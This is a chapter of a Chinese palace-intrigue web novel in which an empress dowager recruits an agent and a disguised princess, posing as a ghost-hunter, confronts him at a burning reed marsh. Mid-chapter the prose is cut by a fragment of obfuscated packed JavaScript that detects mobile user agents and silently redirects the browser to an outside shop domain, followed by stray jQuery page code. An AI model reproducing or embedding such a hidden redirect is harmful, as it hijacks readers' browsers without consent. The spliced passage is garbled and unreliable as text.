26. 第 26 章
    慈宁宫中,太后正坐在镜前梳妆。

    有人黑鸟般自夜色中落下,走入殿中。

    “娘娘。”来人一身黑衣,放下手中的黑袍。

    黑袍展开,大片南珠滚动,在宫灯的映照下,闪烁着莹莹光华。

    褚太后透过铜镜,看到身后的南珠。

    她抬手,明华将木梳从她发间拿下,躬身退到一边。

    褚太后转身,目光落在失而复得的莹润南珠上,微微压一下眼角,叹一口气,“他倒是有点本事。”

    “乌拾,你觉得此人如何?”褚太后问。

    “回娘娘,此人……多智,敏锐,不要命。”乌拾将袖中的密纹纸拿出,递到太后面前,“其余的,属下看不透。”

    褚太后将那密纹纸接过,见那上面只写着一行字:

    芦苇荡火中取南珠。

    她将密纹纸放在火烛上点燃,垂眸看着燃烧的纸张,心道,此人真是……让人出乎意料。

    “哀家倒是的确缺一把好用的刀。”密纹纸燃尽之后,褚太后从盒中,取出一枚鸢爪印,并一面黑羽面具。

    “将这些交给傅迟晏,告诉他,从今往后,他就是灰鸢右使。”

    乌拾领命退下,明华上前为太后梳头。

    “此人与公主殿下关系匪浅。”明华道,“娘娘没有顾虑吗?”

    “明华。”褚太后透过铜镜看她,似笑非笑,“若公主是他的软肋,岂不是更好?”

    明华停顿一下,又动作如常地将木梳自太后娘娘的发间梳下,“娘娘说的是。”

    ……

    芦苇荡起火前——

    春风巷,水月楼,二楼雅阁中。

    傅泽与阿青相对而坐。

    傅泽哭丧着脸,“阿青姐姐,可千万救救我。”

    阿青低眉含笑,斟了一杯酒,不言语。

    “我真的不是有意的。”傅泽抬袖擦了擦脸上的汗,“我那兄长你也只道,脾气不好。我不过动作慢了些,他就对我又打又骂。”

    傅泽给她看头上的伤,“阿青姐姐,你瞧,我头上破了这么大一个口子。”

    “当时我昏了过去,我那混蛋兄长,竟然把我投入河中,想要置我于死地。”

    “我命大没被淹死,惊惧之下,一时冲动,这才……”傅泽低下头。

    阿青看他一眼,抬手打开窗。

    京兆府的官差在街面上招摇而过,有两人,正闯入她这水月楼。

    傅泽慌了,“阿青姐姐,二房现下只剩我一个儿子,姐姐保我一命,日后定然报答姐姐。”

    “我们不谈日后。”阿青笑道,“眼下,有一件事,我要让你去做。”

    “何事?”傅泽问。

    “喝了这杯酒。”阿青眨眨眼,冲他笑道。

    “京兆府办案。”楼下传来官差的喝声。

    傅泽连忙端起酒杯,一饮而尽。

    “郎君好魄力。”阿青笑盈盈地看着他,慢悠悠地鼓了鼓掌,“酒中有毒。”

    傅泽大惊失色。

    “今夜,你坐画舫,自水路离京。”阿青递给他一枚解药,和一张路线图。

    傅泽低头,看到那路线图,竟是一条至扶风郡傅家的路。

    他挠头。

    “傅家保不住了。”阿青瞟他一眼,“不如带着投名状,来乘我的船。”

    投名状?

    傅泽露出疑惑的神情。

    “听闻京郊那处宅子,藏着傅氏的机密。”阿青道,“我要你在官府的人将那里查抄之前,将我要的东西,带出来。”

    “沿途有解药。”阿青瞥那路线图一眼,“郎君可莫要耽搁了,若半路毒发,那可是难受得紧。”

    “坐画舫离京,是否太过招摇?”傅泽面露犹豫。

    “燕雀湖上,有小舟接应。”阿青道,“恰巧,此前有位贵人来,易装改扮,包舫夜游,正巧可以掩人耳目。”

    “你见机行事。”

    傅泽装扮成小厮,上了那艘画舫。

    他瞧见,阿青所说的那位贵人,正是公主殿下。

    傅泽:“……”

    我不想只道太多秘密,我只想好好活着。

    扶容扮成小厮模样,跟在宋温陶身边。

    “殿……公子。”扶容低声道,“你可瞧出了什么?”

    宋温陶手执一柄折扇掩面,“水月楼中那位坊主眼光毒辣,怕是已经看出你我二人并非男儿身。”

    “那她为何……”扶容微微蹙眉。

    “别急。”宋温陶走上画舫,“看看今夜会发生什么。”

    “以身入局,会不会太过凶险?”扶容道。

    “一路走来,我们哪里有不凶险的时候?放心,我总能逢凶化吉。”宋温陶冲她眨眨眼。

    宋温陶在阁上饮酒,听一个素雅的姑娘,弹一首民间小调。

    有美人为她斟酒,纤手有些颤抖,“公子怎么还敢来夜游。”

    “此话何意?”宋温陶问。

    “燕雀湖上才死了人,公子难道不知?”美人瞪大杏眸。

    宋温陶咧嘴一笑,“我自然是知晓,才要来此处夜游!”

    美人愣住。

    宋温陶自袖中一掏,摸出几枚朱砂写就的符纸来。

    “瞧瞧!”宋温陶冲她一挑眉,“我从一个云游道人那里,重金买来的驱鬼符箓!”

    美人看那鬼画符一眼,又默默地看向这个贵人。

    “我得来多日,却一直没有机会一试。”宋温陶道,“今日听说此处有凶案,于是特意包舫重游!”

    美人眼眸抽搐。

    宋温陶恍若未觉,又从怀中摸出一柄三指见宽,方方正正的木尺来。

    那精致规矩的长木上刻有尺度,饰以日月星辰,北斗七宿。

    她得意洋洋地晃动着那华而不实的法尺,目光坚定地盯着娇滴滴的美人,慷慨陈词,“若此处真有恶鬼作祟,我定要为民除害才是!”

    美人承受不住她坚毅的目光,佯作娇羞,垂眸避开。

    “公子高义。”她勉强笑一下,干巴巴地道。

    一艘漆成黑色的船,在夜河上摇晃而来。

    美人遥遥地看到水面生波,暗影幢幢。

    她心道,若不是事先知晓这是青姐的安排,我怕是也要以为有鬼了。

    宋温陶朝湖面看去。

    美人连忙递上一杯酒,用衣袖挡住她的视线。

    她心中懊悔,暗道,只顾着听此人讲符箓,竟忘了灌酒。

    可别误了事才好。

    宋温陶瞧一眼扶容,她悄悄地退了出去。

    可曲声骤急,舞女旋舞,将扶容围在中间。

    夜色的遮掩下,傅泽一身夜行衣,自船尾暗仓中爬出。

    他一抬脚,踏上那艘隐蔽的黑船。

    却不料船身摇晃一下,他一时不慎,险些惊呼出声,连忙抬手捂住嘴,却身体失衡,扑通一声跌入水中。

    宋温陶听到动静,倏的一下站起来,执着酒杯走到栏杆旁。

    美人追至,纤纤玉手绕过她的肩头,轻轻捂住宋温陶的眼,嗔道:“公子都不看我。”

    宋温陶拉下她的手,瞧见有个湿淋淋的东西,从黑漆漆的水中爬出来。

    好似一团黑暗中,融进几条各异的影子,她什么都看不清,却知道有东西在。

    美人凑到宋温陶身边,也向水中看去。

    傅泽攀上小船,心有余悸,恰在此时,回头看那画舫一眼。

    美人两眼一翻,晕了过去。

    宋温陶将人接住,看向漂浮在黑水上的,那张流淌着水痕的惨白的脸。

    她心跳骤促,心道,不会吧。

    捉鬼之词不过胡说八道罢了,现下……难道真的让她撞见鬼了?

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042634|134580||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >宋温陶慌而不乱,冷着脸点燃符箓,朝水面中抛去,“恶灵退散!”

    船夫抬手,将傅泽的脸压下去。

    燃烧的符箓飘飘荡荡。

    那张脸忽而消失了。

    宋温陶惊异地睁大眼,看着那张夜色中燃烧的符箓。

    莫不是真的能驱鬼?

    符箓的火光眼看就要映亮暗色中的小船。

    忽而起了一阵风,将那抹飘荡的火纸刮远。

    薄薄的黄纸顷刻间被火舌舔舐干净,光亮彻底消失前,映亮了几株淡褐芦苇。

    灰烬飘落,宋温陶眨一下眼,忽而瞧见芦苇荡上,猛然窜出大火。

    她心中咯噔一下,暗道,坏了。

    “快。”宋温陶眸中映出大火,声音沉冷下来,“救火!”

    画舫向那处驶去,水面上的火光未蔓延到山林,如乍起的烟花般,在晚风中猝然熄灭。

    鲜血的味道混入焚灰,拢在扭曲的热浪中,扑向画舫。

    昏迷的美人迷迷糊糊的醒来,被刺激得干咳两声。

    她想起青姐交代的事,连忙撑起虚弱的身子,朝水面中看一眼。

    她那双美丽的杏眸睁大。

    美人与画舫下水面上,一具脸朝上的飘荡浮尸,面面相觑。

    美人两眼一翻,身子又软了下去。

    宋温陶抓着她的后衣领,将她推给身后的扶容。

    成片的芦苇荡化为灰烬,画舫驶入漫天焚灰的织成的絮网中。

    她瞧见一片漂浮的尸体,山水相接的暗影中,有什么东西,动了一下。

    宋温陶捏着酒杯,凭栏下眺,茶褐色的冷静眼瞳,望向阴影深处。

    有一道目光,落在她身上。

    宋温陶转身下画舫。

    “公子!不可。”扶容挡在她身前。

    “无妨。”宋温陶晃了晃两指间的符箓,“此处有恶鬼伤人,怎可不为民除害?”

    说罢,她冲扶容眨了眨眼,绕过她的阻拦,抬步下船。

    身后有人窃窃私语。

    “怎么死了这么多人,莫非真有恶灵作祟?”

    “这么重的血腥气,说不定是食人嗜血的怪物。”

    “这片湖好生邪门。”

    “近来不太平,听说近郊的庙中,也出现了死状恐怖的尸体。”

    “莫不是杀人魔头……真吓人。”

    傅迟晏将那些絮絮低语收入耳中。

    他瞧见那人玉袍锦带,不染尘埃,而自己脚边横尸遍野,发间都染上浓稠的血。

    即便是一条狗,沦落到这般模样,都不会讨主人的欢心。

    傅迟晏拖着残腿,悄无声息地退入更深处阴影中。

    脊背抵上嶙峋的山石,提醒他身后无路可走。

    密道至水边,是一条有去无回的单行道。

    宋温陶不偏不倚地向走向他的狭窄的藏身处。

    一柄染血的长刀,忽然从浓稠的阴影中伸出,停在她胸前三寸处。

    长刀上的污血,沿着薄刃下滑滚落,滴落在她身前一步的地面上,连她白色的鞋面都未曾染污。

    宋温陶看着那微微颤动的刀尖,停下脚步。

    手指一动,火折燃起火苗,点燃黄纸红字的符箓。

    纤长的两指捏着燃烧的火符,她一侧身,躲过虚张声势的刀尖。

    不紧不慢的几步,将暗处的人逼得毫无退路。

    “恶鬼现形。”她唇瓣轻启,口中含着隐约的笑。

    两指一定,她将那张轻飘飘的符纸,拍在傅迟晏的脑门上,

    黄纸燃尽。

    他被困在山壁间,在公主明亮的眼底,现出狼狈的原型。

    “抓到你了。”

    方正规整的修长法尺,不偏不倚地轻抵他的胸口。

    两人在黑暗中对视。

    絮灰飞扬,漫天萧索。